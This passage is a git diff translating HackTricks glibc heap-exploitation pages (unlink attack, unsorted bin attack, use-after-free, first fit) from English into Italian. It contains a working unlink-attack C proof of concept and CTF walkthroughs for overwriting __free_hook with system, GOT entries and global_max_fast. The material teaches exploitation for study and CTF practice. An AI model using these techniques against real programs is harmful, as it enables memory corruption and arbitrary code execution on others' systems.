testa della lista libera Tcache** sia molto utile. +- **Glibc leak** tramite `stdout` (FSOP). +- **Avvelenamento Tcache** per ottenere una scrittura arbitraria primitiva. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index 959ff36db..91a1c1e22 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -2,16 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. +Quando questo attacco è stato scoperto, consentiva principalmente un WWW (Write What Where), tuttavia, sono stati **aggiunti alcuni controlli** rendendo la nuova versione dell'attacco più interessante, più complessa e **inutile**. -### Code Example: +### Esempio di Codice:
-Code - +Codice ```c #include #include @@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { - size_t prev_size; - size_t size; - struct chunk_structure *fd; - struct chunk_structure *bk; - char buf[10]; // padding +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding }; int main() { - unsigned long long *chunk1, *chunk2; - struct chunk_structure *fake_chunk, *chunk2_hdr; - char data[20]; +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; - // First grab two chunks (non fast) - chunk1 = malloc(0x8000); - chunk2 = malloc(0x8000); - printf("Stack pointer to chunk1: %p\n", &chunk1); - printf("Chunk1: %p\n", chunk1); - printf("Chunk2: %p\n", chunk2); +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); - // Assuming attacker has control over chunk1's contents - // Overflow the heap, override chunk2's header +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header - // First forge a fake chunk starting at chunk1 - // Need to setup fd and bk pointers to pass the unlink security check - fake_chunk = (struct chunk_structure *)chunk1; - fake_chunk->size = 0x8000; - fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P - fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P - // Next modify the header of chunk2 to pass all security checks - chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); - chunk2_hdr->prev_size = 0x8000; // chunk1's data region size - chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit - // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' - // This results in chunk1 pointer pointing to chunk1 - 3 - // i.e. chunk1[3] now contains chunk1 itself. - // We then make chunk1 point to some victim's data - free(chunk2); - printf("Chunk1: %p\n", chunk1); - printf("Chunk1[3]: %x\n", chunk1[3]); +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); +printf("Chunk1[3]: %x\n", chunk1[3]); - chunk1[3] = (unsigned long long)data; +chunk1[3] = (unsigned long long)data; - strcpy(data, "Victim's data"); +strcpy(data, "Victim's data"); - // Overwrite victim's data using chunk1 - chunk1[0] = 0x002164656b636168LL; +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; - printf("%s\n", data); +printf("%s\n", data); - return 0; +return 0; } ``` -
-- Attack doesn't work if tcaches are used (after 2.26) +- L'attacco non funziona se vengono utilizzati i tcaches (dopo la versione 2.26) -### Goal +### Obiettivo -This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. +Questo attacco consente di **cambiare un puntatore a un chunk per puntare a 3 indirizzi prima di se stesso**. Se questa nuova posizione (dintorni di dove si trovava il puntatore) ha contenuti interessanti, come altre allocazioni controllabili / stack..., è possibile leggerli/sovrascriverli per causare un danno maggiore. -- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary -- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). +- Se questo puntatore si trovava nello stack, poiché ora punta a 3 indirizzi prima di se stesso e l'utente può potenzialmente leggerlo e modificarlo, sarà possibile rivelare informazioni sensibili dallo stack o persino modificare l'indirizzo di ritorno (forse) senza toccare il canary. +- Negli esempi CTF, questo puntatore si trova in un array di puntatori ad altre allocazioni, quindi, facendolo puntare a 3 indirizzi prima e potendo leggerlo e scriverlo, è possibile far puntare gli altri puntatori ad altri indirizzi.\ +Poiché l'utente può potenzialmente leggere/scrivere anche le altre allocazioni, può rivelare informazioni o sovrascrivere nuovi indirizzi in posizioni arbitrarie (come nel GOT). -### Requirements +### Requisiti -- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. -- Stack leak in order to set the pointers of the fake chunk. +- Alcun controllo in memoria (ad es. stack) per creare un paio di chunk dando valori ad alcuni degli attributi. +- Leak dello stack per impostare i puntatori del fake chunk. -### Attack +### Attacco -- There are a couple of chunks (chunk1 and chunk2) -- The attacker controls the content of chunk1 and the headers of chunk2. -- In chunk1 the attacker creates the structure of a fake chunk: - - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: +- Ci sono un paio di chunk (chunk1 e chunk2) +- L'attaccante controlla il contenuto di chunk1 e gli header di chunk2. +- In chunk1 l'attaccante crea la struttura di un fake chunk: +- Per bypassare le protezioni si assicura che il campo `size` sia corretto per evitare l'errore: `corrupted size vs. prev_size while consolidating` +- e i campi `fd` e `bk` del fake chunk puntano a dove è memorizzato il puntatore di chunk1 con offset di -3 e -2 rispettivamente, quindi `fake_chunk->fd->bk` e `fake_chunk->bk->fd` puntano alla posizione in memoria (stack) dove si trova l'indirizzo reale di chunk1:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. -- When the second chunk is freed then this fake chunk is unlinked happening: - - `fake_chunk->fd->bk` = `fake_chunk->bk` - - `fake_chunk->bk->fd` = `fake_chunk->fd` -- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. -- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. +- Gli header di chunk2 vengono modificati per indicare che il chunk precedente non è utilizzato e che la dimensione è quella del fake chunk contenuto. +- Quando il secondo chunk viene liberato, questo fake chunk viene disconnesso avvenendo: +- `fake_chunk->fd->bk` = `fake_chunk->bk` +- `fake_chunk->bk->fd` = `fake_chunk->fd` +- In precedenza è stato fatto in modo che `fake_chunk->fd->bk` e `fake_chunk->bk->fd` puntassero allo stesso posto (la posizione nello stack dove era memorizzato `chunk1`, quindi era una lista collegata valida). Poiché **entrambi puntano alla stessa posizione**, solo l'ultimo (`fake_chunk->bk->fd = fake_chunk->fd`) avrà **effetto**. +- Questo **sovrascriverà il puntatore a chunk1 nello stack con l'indirizzo (o byte) memorizzato 3 indirizzi prima nello stack**. +- Pertanto, se un attaccante potesse controllare nuovamente il contenuto di chunk1, sarà in grado di **scrivere all'interno dello stack**, potendo potenzialmente sovrascrivere l'indirizzo di ritorno saltando il canary e modificare i valori e i puntatori delle variabili locali. Anche modificando nuovamente l'indirizzo di chunk1 memorizzato nello stack in una posizione diversa dove, se l'attaccante potesse controllare nuovamente il contenuto di chunk1, sarà in grado di scrivere ovunque. +- Nota che questo è stato possibile perché gli **indirizzi sono memorizzati nello stack**. Il rischio e lo sfruttamento potrebbero dipendere da **dove sono memorizzati gli indirizzi del fake chunk**.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-## References +## Riferimenti - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. +- Anche se sarebbe strano trovare un attacco unlink anche in un CTF, qui hai alcuni writeup dove questo attacco è stato utilizzato: +- Esempio CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) +- In questo esempio, invece dello stack, c'è un array di indirizzi mallocati. L'attacco unlink viene eseguito per poter allocare un chunk qui, quindi essere in grado di controllare i puntatori dell'array di indirizzi mallocati. Poi, c'è un'altra funzionalità che consente di modificare il contenuto dei chunk in questi indirizzi, il che consente di puntare indirizzi al GOT, modificare gli indirizzi delle funzioni per ottenere leak e RCE. +- Un altro esempio CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) +- Proprio come nel precedente esempio, c'è un array di indirizzi di allocazioni. È possibile eseguire un attacco unlink per far puntare l'indirizzo alla prima allocazione a poche posizioni prima dell'inizio dell'array e sovrascrivere questa allocazione nella nuova posizione. Pertanto, è possibile sovrascrivere i puntatori di altre allocazioni per puntare al GOT di atoi, stamparlo per ottenere un leak di libc e poi sovrascrivere il GOT di atoi con l'indirizzo di un one gadget. +- Esempio CTF con funzioni malloc e free personalizzate che abusano di una vulnerabilità molto simile all'attacco unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) +- C'è un overflow che consente di controllare i puntatori FD e BK di malloc personalizzato che verranno (personalmente) liberati. Inoltre, l'heap ha il bit di esecuzione, quindi è possibile rivelare un indirizzo heap e puntare una funzione dal GOT a un chunk heap con uno shellcode da eseguire. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 65d509c48..bc8fab003 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,70 +4,70 @@ ## Basic Information -For more information about what is an unsorted bin check this page: +Per ulteriori informazioni su cosa sia un unsorted bin, controlla questa pagina: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +Le liste non ordinate possono scrivere l'indirizzo in `unsorted_chunks (av)` nell'indirizzo `bk` del chunk. Pertanto, se un attaccante può **modificare l'indirizzo del puntatore `bk`** in un chunk all'interno dell'unsorted bin, potrebbe essere in grado di **scrivere quell'indirizzo in un indirizzo arbitrario**, il che potrebbe essere utile per rivelare indirizzi Glibc o bypassare alcune difese. -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +Quindi, fondamentalmente, questo attacco consente di **impostare un grande numero in un indirizzo arbitrario**. Questo grande numero è un indirizzo, che potrebbe essere un indirizzo heap o un indirizzo Glibc. Un obiettivo tipico è **`global_max_fast`** per consentire di creare fast bin con dimensioni maggiori (e passare da un attacco unsorted bin a un attacco fast bin). > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> Dare un'occhiata all'esempio fornito in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e utilizzare 0x4000 e 0x5000 invece di 0x400 e 0x500 come dimensioni dei chunk (per evitare Tcache) è possibile vedere che **oggigiorno** l'errore **`malloc(): unsorted double linked list corrupted`** viene attivato. > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> Pertanto, questo attacco unsorted bin ora (tra i vari controlli) richiede anche di essere in grado di riparare la lista doppiamente collegata in modo che venga bypassato `victim->bk->fd == victim` o non `victim->fd == av (arena)`, il che significa che l'indirizzo in cui vogliamo scrivere deve avere l'indirizzo del fake chunk nella sua posizione `fd` e che il fake chunk `fd` punta all'arena. > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> Nota che questo attacco corrompe l'unsorted bin (quindi anche small e large). Quindi possiamo solo **utilizzare allocazioni dal fast bin ora** (un programma più complesso potrebbe fare altre allocazioni e andare in crash), e per attivare questo dobbiamo **allocare la stessa dimensione o il programma andrà in crash.** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso fidandosi che il fast bin sarà in grado di gestire tutte le altre allocazioni fino al completamento dell'exploit. -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo spiega molto bene, anche se se modifichi i malloc per allocare memoria abbastanza grande da non finire in un Tcache puoi vedere che l'errore precedentemente menzionato appare impedendo questa tecnica: **`malloc(): unsorted double linked list corrupted`** ## Unsorted Bin Infoleak Attack -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +Questo è in realtà un concetto molto basilare. I chunk nell'unsorted bin avranno dei puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **che puntano a una parte dell'arena principale (Glibc)**.\ +Pertanto, se puoi **mettere un chunk all'interno di un unsorted bin e leggerlo** (use after free) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi avere una **Glibc info leak**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Un simile [**attacco utilizzato in questo writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) è stato quello di abusare di una struttura di 4 chunk (A, B, C e D - D serve solo a prevenire la consolidazione con il top chunk) quindi un overflow di byte nullo in B è stato utilizzato per far indicare a C che B era inutilizzato. Inoltre, in B i dati `prev_size` sono stati modificati in modo che la dimensione invece di essere la dimensione di B fosse A+B.\ +Poi C è stato deallocato e consolidato con A+B (ma B era ancora in uso). Un nuovo chunk di dimensione A è stato allocato e poi gli indirizzi di libc sono stati scritti in B da dove sono stati rivelati. ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere il flag e PIE non è abilitato. +- È possibile generare chunk di dimensioni arbitrarie e c'è un overflow heap con la dimensione desiderata. +- L'attacco inizia creando 3 chunk: chunk0 per abusare dell'overflow, chunk1 da sovrascrivere e chunk2 affinché il top chunk non consolidi i precedenti. +- Poi, chunk1 viene liberato e chunk0 viene sovrascritto in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10` +- Poi, chunk3 viene allocato con la stessa dimensione di chunk1, il che attiverà l'attacco unsorted bin e modificherà il valore della variabile globale, rendendo possibile ottenere il flag. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - - Now a **fast bin attack** is performed: - - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- La funzione merge è vulnerabile perché se entrambi gli indici passati sono lo stesso verrà realloc su di esso e poi liberato ma restituendo un puntatore a quella regione liberata che può essere utilizzata. +- Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà unito con se stesso e chunk1 per prevenire la consolidazione con il top chunk. Poi, la **funzione merge viene chiamata con chunk0** due volte, il che causerà un use after free. +- Poi, la **funzione `view`** viene chiamata con l'indice 2 (che è l'indice del chunk use after free), il che **leakerà un indirizzo libc**. +- Poiché il binario ha protezioni per allocare solo dimensioni maggiori di **`global_max_fast`**, quindi non viene utilizzato alcun fastbin, verrà utilizzato un attacco unsorted bin per sovrascrivere la variabile globale `global_max_fast`. +- Poi, è possibile chiamare la funzione di modifica con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk utilizzerà l'indirizzo liberato precedentemente compromesso (0x20) che **attiverà l'attacco unsorted bin** sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei fast bins. +- Ora viene eseguito un **attacco fast bin**: +- Prima di tutto si scopre che è possibile lavorare con fast **chunk di dimensione 200** nella posizione **`__free_hook`**: +-
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+
+- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito. +- Per questo, viene creato un nuovo chunk di dimensione `0xfc` e la funzione merge viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin. +- Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**. +- Poi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**. +- E infine, un chunk contenente la stringa `/bin/sh\x00` viene liberato chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro. +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere una libc infoleak e poi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo one gadget. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Possiamo solo allocare chunk di dimensioni maggiori di `0x100`. +- Sovrascrivere `global_max_fast` utilizzando un attacco Unsorted Bin (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit). +- Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce una primitiva di lettura/scrittura arbitraria, che consente di modificare il GOT e impostare alcune funzioni per puntare a `system`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index d6fd34f42..4d9dee77d 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -2,16 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. +Come suggerisce il nome, questa vulnerabilità si verifica quando un programma **memorizza dello spazio** nell'heap per un oggetto, **scrive** alcune informazioni lì, **libera** apparentemente perché non è più necessario e poi **accede di nuovo**. -The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). +Il problema qui è che non è illegale (non ci **saranno errori**) quando si **accede a una memoria liberata**. Quindi, se il programma (o l'attaccante) riesce a **allocare la memoria liberata e memorizzare dati arbitrari**, quando la memoria liberata viene accessibile dal puntatore iniziale, **quelli dati sarebbero stati sovrascritti**, causando una **vulnerabilità che dipenderà dalla sensibilità dei dati** che erano stati memorizzati originariamente (se era un puntatore a una funzione che doveva essere chiamata, un attaccante potrebbe controllarla). -### First Fit attack +### Attacco First Fit -A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ -Check more info in: +Un attacco first fit mira al modo in cui alcuni allocatori di memoria, come in glibc, gestiscono la memoria liberata. Quando si libera un blocco di memoria, viene aggiunto a un elenco, e le nuove richieste di memoria prelevano da quell'elenco dalla fine. Gli attaccanti possono utilizzare questo comportamento per manipolare **quali blocchi di memoria vengono riutilizzati, potenzialmente guadagnando il controllo su di essi**. Questo può portare a problemi di "use-after-free", dove un attaccante potrebbe **cambiare il contenuto della memoria che viene riallocata**, creando un rischio per la sicurezza.\ +Controlla ulteriori informazioni in: {{#ref}} first-fit.md diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7bab07aea..9fd5799b2 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -4,36 +4,33 @@ ## **First Fit** -When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. +Quando si libera memoria in un programma utilizzando glibc, vengono utilizzati diversi "bins" per gestire i chunk di memoria. Ecco una spiegazione semplificata di due scenari comuni: unsorted bins e fastbins. ### Unsorted Bins -When you free a memory chunk that's not a fast chunk, it goes to the 